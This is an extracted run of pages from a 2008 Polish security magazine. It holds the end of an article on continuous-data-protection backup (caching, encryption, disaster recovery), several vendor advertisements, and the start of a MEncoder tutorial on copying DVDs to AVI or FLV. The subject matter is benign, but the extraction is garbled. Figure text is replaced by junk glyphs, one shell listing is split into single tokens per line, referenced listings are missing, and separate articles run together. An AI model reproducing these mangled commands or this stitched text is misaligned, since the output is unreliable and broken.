Sama architektura jest stara jak 
świat 
, bo to architektura klient–serwer. 
Na stacjach końcowych – PC lub 
laptopach – instalowani są tzw. klienci, 
którzy lokalnie dbają o gromadzenie 
i przesyłanie danych (wtedy, gdy 
klient może połączyć się z serwerem 
backupu). Sam serwer zarządza 
procesem kopiowania danych ze stacji 
klientów, bada ich dostępność w sieci 
(czy są podłączone do sieci, czy też 
nie) oraz tworzy bazę zawierającą 
informacje na temat skopiowanych 
danych. Sam proces tworzenia kopii 
zapasowych składa się z dwóch 
etapów. Jest to najpierw kopiowanie 

danych na wydzielony obszar (tzw. 
cache) na dysku lokalnym, a następnie 
kopiowanie do miejsca docelowego 
– którym najczęściej jest wolumen 
na serwerze lub macierzy dyskowej. 
Aby mogło nastąpić przeniesienie 
danych z naszego laptopa bądź PC, 
musi on mieć połączenie z serwerem 
backupu. Warunek ten nie zawsze 
jest spełniony (np. podczas podróży 
służbowej mamy laptopa bez dostępu 
do Internetu). Wówczas backup 
danych jest wykonywany wyłącznie 
lokalnie na wydzielony obszar dysku. 
W momencie podłączenia laptopa do 
sieci i skomunikowania się z serwerem 
backupu nastąpi przeniesienie danych 
na wolumen docelowy.

Niektóre dobre programy do 

tworzenia kopii zapasowych mają 
również możliwość określenia czasu, w 
którym dane mogą być przesyłane ze 
stacji klienta do serwera oraz wielkości 
pasma, jaką może zająć ta transmisja. 
Przykładowo przesyłanie danych na 
serwer może odbywać się w godz. 
od 12–tej do 14–tej, kiedy zazwyczaj 
jesteśmy na obiedzie. 

Możemy także określić, że pasmo 

do wykorzystania na cele backupu ma 
być nie większe niż np. 20%. Pozwala to 
sprawić, że kopiowanie danych w tle nie 
będzie przeszkadzać użytkownikowi w 
kontekście zajętości zasobów sprzętowych 
(dysk twardy, CPU, itp.) oraz sieciowych. 

Komunikacja SO 

z oprogramowaniem CDP

W momencie instalacji oprogramowania 
korzystającego z CDP, bardzo 
ściśle integruje się ono z systemem 
operacyjnym. Od tej chwili żadna 
operacja kopiowania (przenoszenia) czy 
tworzenia obiektów nie może odbyć się 
niezauważona przez oprogramowanie 
backupowe. Każda z tych operacji jest 
jednocześnie wykonywana zarówno 
przez system operacyjny, jak i przez 
CDP na lokalny zasób backupowy. Np. 
kiedy chcemy założyć plik plik.doc, jest 
on normalnie tworzony przez system 
operacyjny oraz równolegle zapisany 
przez CDP na wydzielonym obszarze 
dysku tego komputera (tzw. cache). Jest 
to pierwszy stopień zabezpieczenia 
przed przypadkowym usunięciem 
obiektu. Umożliwia to również śledzenie 
ewentualnych kolejnych wersji pliku. 

Ile wersji tego pliku zapiszemy, 

tyle będziemy mieli plików w kopii 
zapasowej. Np. tworząc dokument 
tekstowy, co pewien czas dopisujemy 
kolejny akapit (czasem poprawiając 
te napisane wcześniej). Wówczas 
przy każdym wprowadzeniu zmian i 
zapisaniu dokumentu tworzy się kolejna 
kopia zapasowa tego samego obiektu, 
umożliwiająca jego odzyskanie z każdej 
fazy jego tworzenia. 

Co pewien okres czasu dane 

z pamięci podręcznej (cache) są 
przenoszone na serwer backupu. 

Oczywiście jest to również 

uzależnione od przyłączenia komputera 
do sieci, przez którą ten może się 
skomunikować z serwerem kopii 
zapasowych. Jeżeli nasz komputer 
jest stale podłączony do sieci i ma 
komunikację z serwerem backupu, 
wówczas nasze dane są kopiowane na 
serwer niemalże w czasie rzeczywistym 
(przy założeniu, że nie mamy ograniczeń 
co do czasu przenoszenia danych na 
serwer).

Praktyczne zastosowanie 

CDP – porady i ostrzeżenia

Systemy zabezpieczania danych przed 
ich utratą najczęściej wdrażane są w 
firmach i przedsiębiorstwach. Wówczas 
na dedykowanym serwerze z dostępem 
do dużych zasobów dyskowych (macierz 

Rysunek 1. 

Działanie deduplikacji

Dane

idenyczne

jak na innych

Dane

idenyczne

jak na innych

Dane

idenyczne

jak na innych

Dane wystęujce tylko

na tym komputerze

Dane wystęujce tylko

na tym komputerze

Dane wystęujce tylko

na tym komputerze

Zaoszczędzone

miejsce

Dane wspólne

dla wszystkich

komputerów

Serwer

background image

OBRONA

60

 

HAKIN9 6/2008

NAJLEPSZA OCHRONA DANYCH NA NASZYM PC

61

 

HAKIN9 

6/2008

o pojemności rzędu TB) instalowany 
jest serwer backupu. Na komputerach 
pracowników instalowana jest aplikacja 
klienta, w której ustalamy wymagane 
parametry, jak np. maksymalne pasmo 
dla danych przenoszonych na serwer 
backupu. Podczas instalacji klienta, 
określamy również katalog, w którym 
będą przechowywane lokalne kopie 
danych. Jeżeli instalacja dotyczy 
komputera stacjonarnego, wybór 
tego katalogu nie jest zbyt istotny. 
W przypadku laptopa ma on wręcz 
decydujące znaczenie. Jeżeli bowiem 
będzie on znajdował się na partycji 
o małej pojemności, wówczas, w 
przypadku dłuższego braku połączenia z 
serwerem backupu, szybko zapełni się i 
może się zdarzyć, że dla naszych danych 
nie będą tworzone kopie zapasowe 
nawet na dysku lokalnym. A to może 
doprowadzić do trwałej utraty danych, 
czemu chcemy zapobiec instalując 
opisywane oprogramowanie. Zaleca się 
również, aby komputery przenośne były 
w miarę regularnie podłączane do sieci, 
przez którą mogą się komunikować z 
serwerem backupu. 

Szczególną ostrożność powinny 

zachować osoby, które często wyjeżdżają i 
przebywają poza firmą, ponieważ skutkuje 
to szybkim przyrastaniem danych w 
lokalnym cache’u na dysku twardym. 
Natomiast gdy nasze dane znajdują się już 
w bezpiecznym miejscu (tzn. na serwerze 
backupu), możemy je kopiować na nośniki 
taśmowe za pomocą oprogramowania 
do tradycyjnego backupu. Zwiększa to 
bezpieczeństwo naszych danych oraz 
zwalnia przestrzeń dyskową na macierzy. 

Trochę inaczej problem wygląda w 

przypadku pojedynczych komputerów 
domowych. Zazwyczaj nie mamy 
w domu żadnego serwera z dużą 
macierzą dyskową. Jak wtedy robić 
kopie zapasowe naszych – nieraz 
bezcennych – danych? Niestety, nie da 
się przeskoczyć pewnych ograniczeń 
fizycznych i np. rozciągnąć dysku 
twardego. 

W takim przypadku najlepiej 

zaopatrzyć się w dodatkowy dysk twardy, 
na którym będziemy przechowywać 
nasze kopie zapasowe. Jeżeli jest 
to laptop, wydaje się, że najlepszym 
rozwiązaniem jest dysk ze złączem 

USB. Nie będzie to zbyt uciążliwe dla 
użytkownika laptopa, bo ten może co 
pewien czas podłączać napęd do 
komputera i kopiować dane. Wydatek 
związany z zakupem takiego dysku jest 
rzędu kilkuset złotych za dysk 200 GB. 
Taka pojemność powinna zaspokoić 
nasze potrzeby, a koszty nie są aż tak 
bardzo wysokie. Oczywiście na takim 
pojedynczym komputerze musimy 
zainstalować aplikację jako serwer 
backupu i jako miejsce docelowe 
przechowywania kopii zapasowych 
wskazać wspominany wcześniej dysk, np. 
wspomniany napęd z interfejsem USB. 

Należy pamiętać, że przy pierwszym 

backupie będzie tworzona kopia 
zapasowa wszystkich danych z naszego 
komputera. Stąd też zalecane jest, aby 
pierwsze wykonywanie kopii zapasowej 
było robione zawsze przy pełnej 
komunikacji klienta z serwerem backupu. 
Rekomenduje się, żeby przy pierwszym 
uruchomieniu klient lokalny skopiował 
całą zawartość naszego komputera, 
lecz nie do zasobu lokalnego, ale na 
serwer backupu (miejsce docelowe). W 
celu spełnienia tego warunku nie należy 
odłączać naszego komputera od sieci 
np. w firmie. Dopiero po zakończeniu tej 
operacji kolejne backupy będą kopiami 

przyrostowymi. Oznacza to, że będą 
wykonywać się kopie zapasowe tylko 
tych obiektów, które powstały lub zmieniły 
się od czasu ostatniego backupu. Jest 
to tzw. backup incremental for ever
czyli wieczny backup przyrostowy. Takie 
backupy możemy bez obaw wykonywać 
do lokalnego cache’u

Należy jeszcze wspomnieć o czasie 

przechowywania kopii zapasowych. 
Czasy te definiujemy w zależności od 
potrzeb użytkownika. Dodatkowo, w 
większości programów opartych na 
CDP czasy te są ustawiane na kilku 
poziomach – określamy, jak długo 
dane mają być przechowywane na 
serwerze backupu, ile maksymalnie 
wersji określonego pliku chcemy 
przechowywać, którego dnia chcemy 
sprawdzać wygaśnięcie ważności 
obiektów itp. Muszę stwierdzić, że 
mechanizmy związane z zarządzaniem 
czasem przechowywania kopii 
zapasowych są w przypadku techniki 
CDP mocno rozbudowane, a ich zgrubny 
opis zająłby kolejne kilka stron.

Ważną kwestią jest również, 

aby nasze kopie zapasowe nie były 
dostępne dla innych, niepowołanych 
osób. W związku z tym, programy 
oparte na technice CDP oferują 

Rysunek 2. 

CDP i zwykły backup

����������������������

������������������������

�����������������������

������������������������

������������������������������

��������������������������

���������������������������������������������������������������������������������������������

������������������������������������

background image

OBRONA

62

 

HAKIN9 6/2008

zabezpieczenia kopii zapasowych 
przed nieautoryzowanym dostępem. 
Dane skopiowane na serwer 
backupu są zabezpieczone na dwóch 
poziomach: hasło dostępu przy próbie 
odtworzenia oraz zaszyfrowanie danych 
przechowywanych na wolumenie. 

Dane są szyfrowane również 

w trakcie transmisji do i z serwera 
backupu, aby nikt niepowołany ich nie 
przechwycił. Szyfrowanie to odbywa się 
za pomocą Microsoft Base or Enhanced 
Cryptographic Provider
, który używa 
metody RC4. Dzięki temu możliwe jest 
40–bitowe oraz 128–bitowe szyfrowanie 
przesyłanych danych.

Hasło ogranicza możliwość 

odtworzenia naszych tajnych danych 
np. przez kolegę z pracy na jego 
komputerze. Do tego konieczne jest 
hasło, które znamy tylko my. Ponadto 
dane składowane np. na macierzy 
są zaszyfrowane. Zabezpiecza to nas 
przed dostępem do danych choćby 
przez administratora systemu backupu, 
który ma dostęp do wolumenu 
dyskowego na serwerze. Mimo, że 
może on przekopiować nasze dane, 
nie może ich odczytać bez hasła 
deszyfrującego. Metody szyfrowania 
danych składowanych na wolumenach 
docelowych są identyczne z opisanymi 
wcześniej przy okazji szyfrowania w 
trakcie transmisji danych. 

Programy korzystające z techniki 

CDP najczęściej oferują możliwość 
tworzenia obrazów naszego systemu 
na płytach CD/DVD. Po awarii naszego 
systemu, czy nawet całego komputera, 
możemy odtworzyć jego konfigurację 
wraz z danymi. Możemy te dane 
odzyskać na tym samym lub innym 
komputerze. Stwarza to dodatkowe 
niebezpieczeństwo dla danych – mogą 
one trafić w niepowołane ręce. Stąd 
też obrazy tych systemów również są 
zabezpieczane hasłem. Na skutek 
tego konieczne jest podanie hasła 
podczas procesu odtwarzania systemu 
(Disaster Recovery) z płyty CD/DVD na 
docelowym komputerze. Dodatkowym 
zabezpieczeniem jest zaszyfrowanie 
obrazu systemu, który przechowujemy na 
serwerze backupu.

 Szyfrowanie to jest wykonywane 

za pomocą algorytmu AES (Advanced 

Encryption Standard) ze 128–bitowym 
kluczem.

Należy tu jeszcze wspomnieć, że 

dane przechowywane w lokalnym 
cache’u zazwyczaj nie są objęte 
dodatkowymi zabezpieczeniami przed 
dostępem osób niepowołanych. 
Producenci oprogramowania zakładają, 
że jeżeli ktoś niepowołany będzie miał 
dostęp do naszego dysku twardego, 
to ważne dane wykradnie kopiując je 
bezpośrednio z lokalizacji pierwotnej, a 
nie z kopii zapasowej.

Oczywiście przy przesyłaniu 

danych ze stacji klienta do serwera 
backup’u, dane są szyfrowane przed 
ich nadaniem. Zabezpiecza to nas 
przed nieautoryzowanym dostępem do 
naszych danych za pośrednictwem sieci 
LAN (VPN). 

Przypadki utraty danych 

i sposoby, na jakie 

możemy je odzyskać

Tak, jak było to powiedziane na samym 
początku niniejszego artykułu, mogą nas 
spotkać różne przypadki losowe, które 
w swoich skutkach niosą utratę cennych 
dla nas danych. 

Najprostszym takim przykładem 

jest przypadkowe usunięcie pliku lub 
katalogu z naszego komputera. Jeżeli 
mamy zainstalowane oprogramowanie 
do tworzenia kopii zapasowych z techniką 
CDP, to nic się wielkiego nie stało.
Sięgamy do Menadżera odzyskiwania 
i odtwarzamy usunięty plik, czy to z 
lokalnego cache’u, czy z serwera (przy 
tym konieczne jest podłączenie do sieci, 
aby skomunikować się z serwerem 
backupu). Przy odtwarzaniu możemy 
wybrać wersję utraconego pliku i 
umieścić go w żądanym miejscu. 

Podobnie postępuje się w przypadku 

uszkodzenia jakiegoś pliku np. przez 
wirusa. 

Więcej trudności nastręcza 

uszkodzenie dysku twardego. Wówczas 
krytyczną kwestią jest czas, w którym 
wykonywano ostatni backup do 
lokalizacji docelowej, czyli do serwera 
backupu. Ważne jest to dlatego, że po 
wymianie dysku na nowy, dane będą 
odtwarzane nie z lokalnego zasobu, 
lecz właśnie z serwera backupu. W tym 
przypadku dane odzyskamy do stanu 

sprzed ostatniego backupu wykonanego 
do lokalizacji docelowej. Dlatego tak 
ważnym jest częste i regularne tworzenie 
kopii zapasowej na serwerze backupu. 
To ona de facto w pełni zabezpiecza nas 
przed utratą danych. 

Największym wyzwaniem dla nas 

jest przypadek uszkodzenia naszego 
laptopa (albo PC) lub jego kradzież czy 
zaginięcie. Wówczas jedynym ratunkiem 
są dane zgromadzone na serwerze 
backupu. 

To jest właśnie sytuacja, gdzie 

należy zastosować procedurę Disaster 
Recovery
, czyli odtwarzanie systemu 
i danych po awarii. Najczęściej w 
takim przypadku tworzymy za pomocą 
serwera backupu płytę CD/DVD z 
obrazem systemu. Uzyskujemy go z 
danych zgromadzonych na serwerze 
backupu. Jest wówczas możliwe pełne 
odtworzenie naszego systemu na 
nowym PC lub laptopie wraz z danymi. W 
tym przypadku również odtworzymy dane 
do stanu sprzed ostatniego backupu 
na serwer. Mimo, że będzie to stan np. z 
dnia poprzedniego (lub sprzed tygodnia), 
jest to znacznie lepsza sytuacja niż 
całkowita utrata danych. 

Podsumowanie

Odpowiedzią na to pytanie jest inne: 
a czy możemy pozwolić sobie na 
utratę naszych danych? Jeżeli na 
komputerach mamy bezcenne dla nas 
dane, to zapewne warto zainwestować w 
oprogramowanie z CDP. Technika ta jest 
obecnie najbardziej zaawansowaną z 
technik stosowanych do zabezpieczania 
danych na komputerach osobistych. 
W niniejszym artykule przedstawiłem, 
jakie są największe zalety techniki CDP 
(czyli tworzenia kopii zapasowych w 
czasie rzeczywistym). To daje nam 
możliwość odzyskania każdego obiektu z 
dowolnego momentu w przeszłości. Czy 
to nie jest to, co pozwoli nam spokojnie 
spać – bez obawy o ewentualną utratę 
danych? Czy potrzeba nam jeszcze 
lepszej ochrony?

Mariusz Kapanowski

Inżynier ds. pamięci masowych w firmie S4E SA. Od 

prawie 3 lat zajmuje się systemami pamięci masowych i 

kopiami zapasowymi serwerów i komputerów osobistych. 

Interesuje się nowinkami technicznymi, historią i 

zjawiskami paranormalnymi.

Kontakt z autorem: mariusz.kapanowski@s4e.pl

background image

Prenumerata Pro

Media

 

Systems

Firma Media Systems oferuje Państwu 
usługi  oparte  o  rozwiązania  systemu 
CashBill.pl  i  są  to:  organizacja  kam-
panii marketingowych opartych o kon-
kursy SMS’owe, organizacja kampanii 
reklamowych  serwisów  internetowych, 
system  płatności  elektronicznych  po-
przez karty płatnicze i przelewy. Prócz 
wymienionych  usług  oferujemy  także 
budowę  stron  www,  sprzedaż  domen 
oraz  pozycjonowanie  w  wyszukiwar-
kach. Zapraszamy do współpracy.

TTS Company Sp. z o.o.

Oprogramowanie komputerowe - sprze-
daż,  dystrybucja  oraz  import  na  za-
mówienie.  W  ofercie  programy  autor-
stwa ponad dwustu firm z całego świa-
ta. Chcesz kupić oprogramowanie i nie 
możesz  znaleźć  polskiego  dostawcy? 
Skontaktuj  się  z  nami  –  sprowadzimy 
nawet pojedyncze licencje.

www.OprogramowanieKomputerowe.pl

CCNS

Działalność  firmy  skoncentrowana  jest 
wokół hasła zapewnienia pełnego bez-
pieczeństwa  funkcjonowania  Klienta 
w  realiach  współczesnej  gospodarki. 
Jako Expert Partner firmy WatchGuard 
Inc. oferujemy kompleksowe rozwiąza-
nia  bezpieczeństwa  sieci  i  systemów 
informatycznych  obejmujące  nowo-
czesne  urządzenia  typu  Unified  Thre-
at  Management,  niezawodny  serwis 
i szeroki wachlarz szkoleń.  

www.ccns.pl

Petrosoft

Partner  Microsoft  Bussiness  Solutions 
Dynamics  GP.  Budowa  sklepów  inter-
netowych,  serwisów  WWW,  prezenta-
cji multimedialnych. Budowa sieci LAN, 
WAN,  telekomunikacyjnych.  Telefonia 
stacjonarna, VoiceIP. Usługi outsorcin-
gowe  dla  dużych  firm  z  zakresu  infor-
matyki  i  telekomunikacji.  Oprogramo-
wanie na zamówienia. Dostawa serwe-
rów, sprzętu, oprogramowania.

38-200 Jasło, ul. 3 Maja 101

Biuro: (13) 44 66 666

biuro@petrosoft.pl

kontakt do nas: 

katarzyna.juszczynska@software.com.pl, 

robert.gontarski@software.com.pl

tel.: 22 427 36 77

Enigma SOI

Głównym przedmiotem działalności fir-
my jest produkcja, wdrażanie i sprze-
daż  systemów  służących  do  ochrony 
informacji.

• elektroniczna skrzynka podawcza
• centra certyfikacji kluczy
•  podpis elektroniczny i szyfrowanie 

na serwerach i stacjach klienckich

• zabezpieczanie stacji lokalnych
• karty elektroniczne i czytniki

www.enigma.com.pl

Kei.pl

Kei.pl  działa  na  rynku  usług  hostingo-
wych  od  2000  roku.  Do  naszych  za-
dowolonych  Klientów  z  dumą  możemy 
zaliczyć  wiele  przedsiębiorstw  sektora 
MSP,  instytucji  oraz  osób  prywatnych. 
W ofercie Kei.pl znajdują się pakiety ho-
stingowe, a także usługi dla wymagają-
cych  Użytkowników  –  platformy 

e-Biz-

nes oraz serwery fizyczne.

http://www.kei.pl

Sokra-NET

Działa  od  roku  2002,  specjalizuje  się
w szeroko pojętym bezpieczeństwie in-
formacji. Posiada wykwalifikowany spe-
cjalnie do tych celów zespół inżynierów 
którzy przy współpracy z naszymi klien-
tami  maksymalizują  bezpieczeństwo 
danych,  audytując  i  dobezpieczając. 
Wykonujemy  testy  penetracyjne,  ana-
lizy  kodów  źródłowych,  testy  wydajno-
ściowe  aplikacji  i  ich  środowisk  telein-
formatycznych. Wdrażamy polityki bez-
pieczeństwa.  Wspomagamy  naszych 
partnerów merytorycznie.

www.sokra.net 

background image

64

 

OBRONA

HAKIN9 6/2008

N

a początku ustalmy pewne fakty. 
Kodowanie lub przetwarzanie materiału 
wideo z jednego formatu na inny tak 

naprawdę rozpoczyna się od wyboru trzech 
parametrów: kodeka wideo, kodeka audio 
oraz kontenera. Czym są tzw. kodeki, każdy 
pewnie wie. Czym jest zatem kontener? Można 
powiedzieć, że jest to format pliku, jednak 
mówiąc najbardziej ogólnie – kontener to 
opakowanie zawierające materiał audio i 
wideo. Zastanówmy się zatem, za pomocą 
jakich kodeków będziemy kodować oraz jaki 
format pliku chcemy uzyskać. 

Najpopularniejsze formaty plików to 

oczywiście: AVI, MPEG oraz Ogg (zapis 
nazwy jako OGG jest błędny). Należy jednak 
wspomnieć jeszcze, że MEncoder obsługuje 
formaty plików dostępne w pakiecie 
libavformat. Są to między innymi: mpgaviasv
wavswfflvrmaunut movmp4 i dv. Trudno 
byłoby jednogłośnie rozstrzygnąć, który z 
wymienionych powyżej formatów jest najlepszy. 
Takie pojęcie jak najlepszy chyba nie jest 
zresztą adekwatne dla żadnego z nich. Każdy 
ma swoje plusy oraz minusy. 

Weźmy na pierwszy ogień AVI (ang. Audio 

Video Interleave). Bardzo istotną rzeczą, o 
której należy wspomnieć, jest fakt, że program 
MEncoder został napisany właśnie z myślą o 
tym formacie. Wprowadziła go w 1992 roku 
firma Microsoft. Kodowanie w tym formacie 
ma jedną, niezaprzeczalną zaletę – daje 

ŁUKASZ CIESIELSKI

gwarancję, że plik zostanie odtworzony na 
każdym stacjonarnym odtwarzaczu DVD. 
Jeżeli film będzie oglądany na odtwarzaczu 
stacjonarnym, to świetnym rozwiązaniem jest 
również MPEG (ang. Moving Picture Experts 
Group
), ponieważ każdy tego typu odtwarzacz 
bez problemu odczyta taki plik. 

Aktualnie jednak ten format zdecydowanie 

ustąpił pola AVI. Doskonale wiedzą to ci, którzy 
pobierają lub udostępniają materiały filmowe 
w Sieci. 

Z myślą o miłośnikach wolnego 

oprogramowania powstał kontener Ogg. 
Został on stworzony przez fundację Xiph.org
Podobnie jak powyższe formaty, daje 
możliwość wykorzystania kodeków XviD oraz 
MP3. Wystarczy jednak, że MP3 zamienimy 
na wolny od opłat kodek dźwięku Vorbis i 
uzyskamy materiał filmowy całkowicie zgodny z 
ideą wolnego oprogramowania. Wartym uwagi 
jest także wspomniany pakiet libavformat. To 
właśnie dzięki niemu możemy tworzyć takie 
pliki jak: flvmp4 czy mov

Dostępne w naszym systemie kontenery 

możemy sprawdzić poleceniem 

mencoder -of 

help

. Problem polega na tym, że aplikacja ta 

została stworzona z myślą o kontenerze AVI, więc 
obsługa wszystkich innych ma charakter bardziej 
eksperymentalny niż stabilny. Dlatego też zaleca 
się stosowanie właśnie AVI. Pragnę jednak 
zaprezentować, jak można stworzyć (a właściwie 
spróbować stworzyć, bo nikt nie gwarantuje, 

Stopień trudności

MEncoder 

– vademecum 

ripowania

Każdy zabierający się do czytania tego artykułu zapewne wie, 

czym jest MEncoder. Wspomnę jedynie, że wchodzi on w skład 

pakietu odtwarzacza multimedialnego – MPlayer. Możliwości 

MEncodera są ogromne. Właściwie można nim przekonwertować 

każdy materiał wideo z jednego formatu na inny. 

Z ARTYKUŁU 

DOWIESZ SIĘ

jak stworzyć kopię zapasową 

płyty DVD,

w jaki sposób dokonac 

konwersji materiau audio i wideo 

na inny format,

jak dodać napisy do materiału 

filmowego.

CO POWINIENEŚ 

WIEDZIEĆ

znać podstawowe polecenia 

konsolowe (cd, cp, mv itp.),

znać cechy wybranych kodeków 

audio i wideo (xvid, mp3 itp.).

background image

65

 

MENCODER - VADEMECUM RIPOWANIA

HAKIN9 

6/2008

że operacja ta się uda) plik wyjściowy o 
rozszerzeniu FLV (czyli Flash Video, bardzo 
powszechnie stosowany w obecnych 
czasach ze względu na małą objętość 
pliku). Otóż posłużymy się poleceniem 

-

of lavf

. Ogólna postać polecenia, które 

wydamy MEncoderowi może być taka:

Skoro zdecydowaliśmy już, w jakim 

formacie będzie nasz wyjściowy plik, 
przejdźmy do kodeków dźwięku i obrazu. 
Zacznijmy od sprawdzenia bibliotek 
dostępnych w naszym systemie. 
Używamy do tego poleceń 

mencoder -

oac help

 oraz 

mencoder -ovc help

Pierwsze wyświetli listę kodeków dla 
dźwięku, natomiast drugie – dla obrazu. 
Przykładowa lista kodeków audio to: copy
pcmmp3lamelavctwolamefaac
natomiast wideo: copyframenorawnuv
lavcvfwqtvideolibdvxvid oraz x264

Zastanówmy się, których kodeków 

będziemy używać najczęściej. 
Najpopularniejsze formaty dźwięku to MP3 
(skompresowany) lub AC3 (oryginalny, 
nieskompresowany). Jeśli chodzi o 
kodowanie obrazu, to tutaj górują: XVID, 
LAVC (kompatybilny z DIVX 5), a także 
X264. Nie pozostaje nam nic innego, jak 
powiedzieć: Do dzieła!

Charakterystyka 

najważniejszych kodeków

Częstym problemem jest dylemat 
związany z kodekami. Tabela 1. 
przedstawia obsługiwane przez program 
MEncoder kodeki dźwięku, natomiast 
Tabela 2. – kodeki obrazu. Zestawienie to 
będzie pewnym ułatwieniem, które pozwoli 
wybrać dokładnie takie formaty, jakie 
nam odpowiadają. Ponadto mnogość 
dostępnych bibliotek jest tak duża, że 
czasami nawet doświadczony użytkownik 
programu musi przez moment się 
zastanowić, co powinien wybrać. Każda 
biblioteka została krótko opisana, gdyż 
nie zawsze nazwa wskazuje na swoiste 
właściwości danego kodeka.

Warto zwrócić uwagę, że aby 

zakodować materiał audio do formatu 
MP3, mamy do dyspozycji aż trzy kodeki: 

mp3lametoolame, oraz twolame
Wynika to zapewne z faktu, że jest 
to najpopularniejszy format dźwięku 
w dzisiejszych czasach. W praktyce 
używa się trzech formatów dźwięku: 
wspomnianego MP3, AC-3 lub Vorbis.

Podstawowa składnia

Zasadnicza składnia programu nie 
jest skomplikowana. Te wszystkie 
skomplikowanie wyglądające parametry 
to tak naprawdę dodatkowe polecenia, 
mające na celu poprawić jakość pliku 
wyjściowego. 

Oto najprostszy schemat polecenia 

wydawanego MEncoderowi:

mencoder źródło -oac kodek _
    dźwięku -ovc kodek _ obrazu -o 
    plik _ wyjściowy

Rysunek 1. 

Wzór pozwalający obliczyć 

bitrate dla materiału filmowego

��������

����������������������������

������������������

� � ��

����



�

Rysunek 2. 

Wzór pozwalający obliczyć 

rozmiar materiału filmowego przy 

wykorzystaniu danego bitrate

��������

������������

����������

���� ����







��

Tabela 1. 

Obsługiwane kodeki dźwięku

mp3lame

kodowanie na MP3 VBR, ABR lub przy 

użyciu LAME

toolame

kodowanie na MP3

twolame

kodowanie na MP3

lavc

kodeki audio z rodziny libavcodec: mp2, 

ac3, adpcm_ima_wav, sonic

faac

koder audio FAAC AAC

pcm

nieskompresowany dźwięk PCM

copy

nie konwertuje dźwięku, tylko kopiuje w 

oryginalnej postaci

Tabela 2. 

Obsługiwane kodeki obrazu

xvid

Xvid, kodek MPEG-4 Advanced Simple 

Profile (ASP)

x264

x264, MPEG-4 Advanced Video Coding 

(AVC), zwany kodekiem H.264

lavc

kodeki wideo z rodziny libavcodec: mpeg4 

(kompatybilne z DivX5 oraz XviD), mjpeg, 

ljpeg, h261, h263, h263p, msmpeg4 

(DivX3), msmpeg4v2, wmv1 (Windows 

Media Video), wmv2 (Windows Media 

Video), rv10 (Real Video), rv20 (Real Video), 

mpeg1video, mpeg2video, huffyuv, asv1, 

asv2, ffv1, svq1, flv (Flash Video), dvvideo 

(Sony Digital Video), snow

nuv

nuppel video, używany przez niektóre 

aplikacje czasu rzeczywistego

raw

nieskompresowane klatki video

frameno

używany do kodowania trójprzebiegowego 

(nie jest zalecane)

copy

nie przekodowuje, tylko kopiuje 

zakodowane ramki

Listing 1. 

Konwersja formatu AVI na 

FLV

mencoder wejście.avi -of lavf -
    oac mp3lame 
    -lameopts 
       abr:br=60 
    -ovc lavc
   -lavcopts 
   vcodec=flv:
    vbitrate=500
      -o wyjście.flv

background image

OBRONA

66

 

HAKIN9 6/2008

MENCODER - VADEMECUM RIPOWANIA

67

 

HAKIN9 

6/2008

DVD: AVI 

(MP3, XVID, 2-PASS)

Jesteśmy w posiadaniu płyty DVD 
z filmem i chcemy wykonać kopię 
zapasową. Najprościej będzie 
skompresować dźwięk i obraz. Jako 
kontener wybierzmy AVI (żeby można 
było oglądać film na stacjonarnym 
odtwarzaczu DVD), kodek dźwięku MP3, 
natomiast obrazu – XVID. MEncoder 
jest bardzo elastyczny, jeżeli chodzi o 
ustawienia. Mamy możliwość kodowania 
jedno-, dwu-, lub nawet trzystopniowego. 
W przypadku kompresji jednostopniowej 
od razu jest tworzony plik wynikowy. To 
szybka metoda, ale też jakość obrazu 
jest słaba. Polecam kodowanie dwu- lub 
trzystopniowe. W tym wypadku najpierw 
zakładane są pliki tymczasowe, a 
następnie w drugim (lub analogicznie 
trzecim) przebiegu jest tworzony plik 
wynikowy. 

Najlepszą jakość otrzymamy 

oczywiście w przypadku trzystopniowego 
kodowania – niestety, nie ma nic za 
darmo. Jak można się domyślić, istnieje 
pewna zależność: im lepszą jakość 
chcemy uzyskać, tym więcej czasu 
musimy przeznaczyć na kodowanie. 

Zastanówmy się jeszcze, czy chcemy, 

aby nasz plik wyjściowy mieścił się 
na jednej, czy np. dwóch płytach CD. 
Przerabianie filmu bezpośrednio z 
płyty jest niewskazane, ponieważ jest 
to proces z jednej strony powolny, 
a z drugiej – niszczy napęd CD-ROM. 
Zaleca się zawsze kopiowanie pliku 
wejściowego na dysk, a po zakończeniu 
prac nad nim – po prostu jego 
usunięcie. Rozpoczynamy od kopiowania 
(przy założeniu, że film ma być na jednej 
płycie CD):

Kopia płyty będzie się znajdować w 

katalogu /tmp. Teraz możemy przystąpić 
do konwersji. Jak wcześniej ustaliliśmy, 
materiał audio i wideo będzie kodowany 
dwustopniowo. Zaczynamy od pierwszego 
kroku:(Listing 8.)

Wygląda skomplikowanie, ale takie 

nie jest. Na początku wskazujemy 
ścieżkę do pliku tymczasowego (

/tmp/

/tytul _ filmu-cache

), następnie 

ustawiamy parametry dźwięku (tutaj 
format MP3) oraz obrazu (kodek XviD, 
bitrate 900 i pierwszy przebieg). Na 
koniec podajemy dodatkowe filtry 

Listing 2. 

Zgrywanie filmu DVD do postaci pliku roboczego (tzw. dumpfile)

mplayer dvd://1 

   -dvd-device /dev/

    dvd  -v -v -dumpstream -dumpfile 
    "/tmp//tytul_filmu-cache"
unlink frameno.avi 2> /dev/null

Listing 3. 

Konwersja materiału filmowego z DVD na AVI

#!/bin/bash

mplayer

 

dvd

:

//

1

 

-

dvd

-

device

 /

dev

/

dvd

  

-

v

 

-

v

 

-

dumpstream

 

-

dumpfile

 

"/tmp//tytul_filmu-

cache"

unlink

 

frameno

.

avi

 

2

>

 /

dev

/

null

mencoder

 /

tmp

//

tytul_filmu

-

cache

 

-

oac

 

mp3lame

 

-

lameopts

 

abr

:

br

=

128

 

-

aid

 

128

 

-

ovc

 

xvid

 

-

xvidencopts

 

bitrate

=

900

:

pass

=

1

 

-

vf

 

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:

-

2

,

hqdn3d

=

2

:

1

:

2

   

-

aid

 

128

  

-

o

 

"/dev/null"

mencoder

 /

tmp

//

tytul_filmu

-

cache

 

-

oac

 

mp3lame

 

-

lameopts

 

abr

:

br

=

128

 

-

aid

 

128

 

-

ovc

 

xvid

 

-

xvidencopts

 

bitrate

=

900

:

pass

=

2

 

-

vf

 

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:

-

2

,

hqdn3d

=

2

:

1

:

2

   

-

aid

 

128

  

-

o

 

"/home/lucas/tytul_filmu.avi"

unlink

 

divx2pass

.

log

  

2

>

 /

dev

/

null

unlink

 

"/tmp//tytul_filmu-cache"

Listing 4. 

Konwersja materiału filmowego z DVD na AVI

#!/bin/bash

mplayer

 

dvd

:

//

1

 

-

dvd

-

device

 /

dev

/

dvd

  

